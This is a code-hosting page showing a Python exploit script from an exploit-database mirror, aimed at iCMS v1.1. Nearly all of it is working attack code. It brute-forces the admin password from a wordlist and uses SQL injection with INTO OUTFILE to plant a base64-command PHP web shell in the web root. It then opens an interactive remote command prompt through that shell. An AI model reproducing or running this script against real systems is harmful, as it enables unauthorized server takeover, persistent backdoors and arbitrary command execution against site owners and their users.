PageRenderTime 36ms CodeModel.GetById 10ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/php/webapps/17003.py

https://bitbucket.org/DinoRex99/exploit-database
Python | 202 lines | 187 code | 2 blank | 13 comment | 5 complexity | 0e4edacee08efc27fdaff4d0c4d0225b MD5 | raw file
Possible License(s): GPL-2.0
  1. #!/usr/bin/python
  2. # ~INFORMATION
  3. # Exploit Title: iCMS v1.1 Admin SQLi/bruteforce Exploit
  4. # Author: TecR0c
  5. # Date: 18/3/2011
  6. # Software link: http://bit.ly/hbYy35
  7. # Tested on: Linux bt
  8. # Version: v1.1
  9. # [XXX]: The likelihood of this exploit being successful is low
  10. # as it requires knowledge of the web path and file privileges
  11. # however a PoC is still written ;)
  12. # ~VULNERABLE CODE:
  13. '''
  14. 15 $id = $_GET['id'];
  15. 16 $title = NULL;
  16. 17 $text = NULL;
  17. 18 database_connect();
  18. 19 $query = "select title,text from icmscontent where id = $id;";
  19. 20 //echo $query;
  20. 21 $result = mysql_query($query);
  21. '''
  22. #~EXPLOIT
  23. import random,time,sys,urllib,urllib2,re,httplib,socket,base64,os,getpass
  24. from optparse import OptionParser
  25. from urlparse import urlparse,urljoin
  26. from urllib import urlopen
  27. from cookielib import CookieJar
  28. __AUTHOR__ ="TecR0c"
  29. __DATE__ ="18.3.2011"
  30. usage = 'Example : %s http://localhost/iCMS/ -w passwords.txt -p 127.0.0.1:8080' % __file__
  31. parser = OptionParser(usage=usage)
  32. parser.add_option("-p","--proxy", type="string",action="store", dest="proxy",
  33. help="HTTP Proxy <server>:<port>")
  34. parser.add_option("-u","--username", type="string",action="store", default="admin", dest="username",
  35. help="Username for login")
  36. parser.add_option("-w","--wordlist", type="string",action="store", dest="wordlist",
  37. help="file to use to bruteforce password")
  38. (options, args) = parser.parse_args()
  39. #VARS
  40. sitePath = '/var/www/iCMS/icms/'
  41. webshell = '<?php+system(base64_decode($_REQUEST[cmd]));?>'
  42. if options.proxy:
  43. print '[+] Using Proxy'+options.proxy
  44. # User Agents
  45. agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
  46. "Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",
  47. "Google Chrome 0.2.149.29 (Windows XP)",
  48. "Opera 9.25 (Windows Vista)",
  49. "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
  50. "Opera/8.00 (Windows NT 5.1; U; en)"]
  51. agent = random.choice(agents)
  52. def banner():
  53. if os.name == "posix":
  54. os.system("clear")
  55. else:
  56. os.system("cls")
  57. header = '''
  58. |----------------------------------------|
  59. |Exploit: iCMS SQLi RCE
  60. |Author: %s
  61. |Date: %s
  62. |----------------------------------------|\n
  63. '''%(__AUTHOR__,__DATE__)
  64. for i in header:
  65. print "\b%s"%i,
  66. sys.stdout.flush()
  67. time.sleep(0.005)
  68. def proxyCheck():
  69. if options.proxy:
  70. try:
  71. h2 = httplib.HTTPConnection(options.proxy)
  72. h2.connect()
  73. print "[+] Using Proxy Server:",options.proxy
  74. except(socket.timeout):
  75. print "[-] Proxy Timed Out\n"
  76. sys.exit(1)
  77. except(NameError):
  78. print "[-] Proxy Not Given\n"
  79. sys.exit(1)
  80. except:
  81. print "[-] Proxy Failed\n"
  82. sys.exit(1)
  83. def getProxy():
  84. try:
  85. proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
  86. except(socket.timeout):
  87. print "\n[-] Proxy Timed Out"
  88. sys.exit(1)
  89. return proxy_handler
  90. cj = CookieJar()
  91. if options.proxy:
  92. opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
  93. else:
  94. opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
  95. opener.addheaders = [('User-agent', agent)]
  96. def loginAttempt():
  97. try:
  98. passwordlist = open(options.wordlist,'r').readlines()
  99. print "[+] Length Of Wordlist: "+str(len(passwordlist))
  100. except(IOError):
  101. print "[-] Error: Check Your Wordlist Path\n"
  102. sys.exit(1)
  103. for password in passwordlist:
  104. password = password.replace("\r","").replace("\n","")
  105. sys.stdout.write('\r[+] Brute-forcing password with: %s \r' % password)
  106. sys.stdout.flush()
  107. time.sleep(0.2)
  108. authenticated = login(password)
  109. if authenticated:
  110. break
  111. def login(password):
  112. webSiteUrl = url.geturl()+'login.php'
  113. postParameters = {'formlogin' : options.username,'formpass' : password}
  114. postParameters = urllib.urlencode(postParameters)
  115. try:
  116. response = opener.open(webSiteUrl, postParameters).read()
  117. except:
  118. print '\n[-] Could not connect'
  119. sys.exit()
  120. loggedIn = re.compile(r"continue to the admin")
  121. authenticated = loggedIn.search(response)
  122. if authenticated:
  123. print '\n[+] logged in as %s' % options.username
  124. else:
  125. pass
  126. return authenticated
  127. def performSQLi():
  128. webSiteUrl = url.geturl()+"/admin/item_detail.php?id=1+union+select+'ph33r',user()"
  129. try:
  130. response = opener.open(webSiteUrl).read()
  131. except:
  132. print '\n[-] Failed'
  133. root = re.compile("root")
  134. rootuser = root.search(response)
  135. if rootuser:
  136. print '[+] I smell ROOT :p~'
  137. webSiteUrl = url.geturl()+\
  138. "admin/item_detail.php?id=1+UNION+SELECT+NULL,'TECR0CSHELL"\
  139. +webshell+"LLEHSC0RCET'+INTO+OUTFILE+'"+sitePath+".webshell.php'"
  140. opener.open(webSiteUrl)
  141. print '[+] Wrote WEBSHELL !'
  142. else:
  143. print '\n[-] Could not gain access'
  144. sys.exit()
  145. def postRequestWebShell(encodedCommand):
  146. webSiteUrl = url.geturl()+'.webshell.php'
  147. commandToExecute = [
  148. ('cmd',encodedCommand)]
  149. cmdData = urllib.urlencode(commandToExecute)
  150. try:
  151. response = opener.open(webSiteUrl, cmdData).read()
  152. except:
  153. print '[-] Failed'
  154. sys.exit()
  155. return response
  156. def clean(response):
  157. patFinder = re.compile('TECR0CSHELL(.*)LLEHSC0RCET',re.DOTALL)
  158. shell = patFinder.search(response)
  159. response = shell.group(1)
  160. return response
  161. def commandLine():
  162. commandLine = ('[RSHELL] %s@%s# ') % (getpass.getuser(),url.netloc)
  163. while True:
  164. try:
  165. command = raw_input(commandLine)
  166. encodedCommand = base64.b64encode(command)
  167. response = postRequestWebShell(encodedCommand)
  168. response = clean(response)
  169. print response
  170. except KeyboardInterrupt:
  171. encodedCommand = base64.b64encode('rm .webshell.php')
  172. postRequestWebShell(encodedCommand)
  173. print "\n[!] Removed .webshell.php\n"
  174. sys.exit()
  175. if "__main__" == __name__:
  176. banner()
  177. try:
  178. url=urlparse(args[0])
  179. except:
  180. parser.print_help()
  181. sys.exit()
  182. getProxy()
  183. loginAttempt()
  184. performSQLi()
  185. commandLine()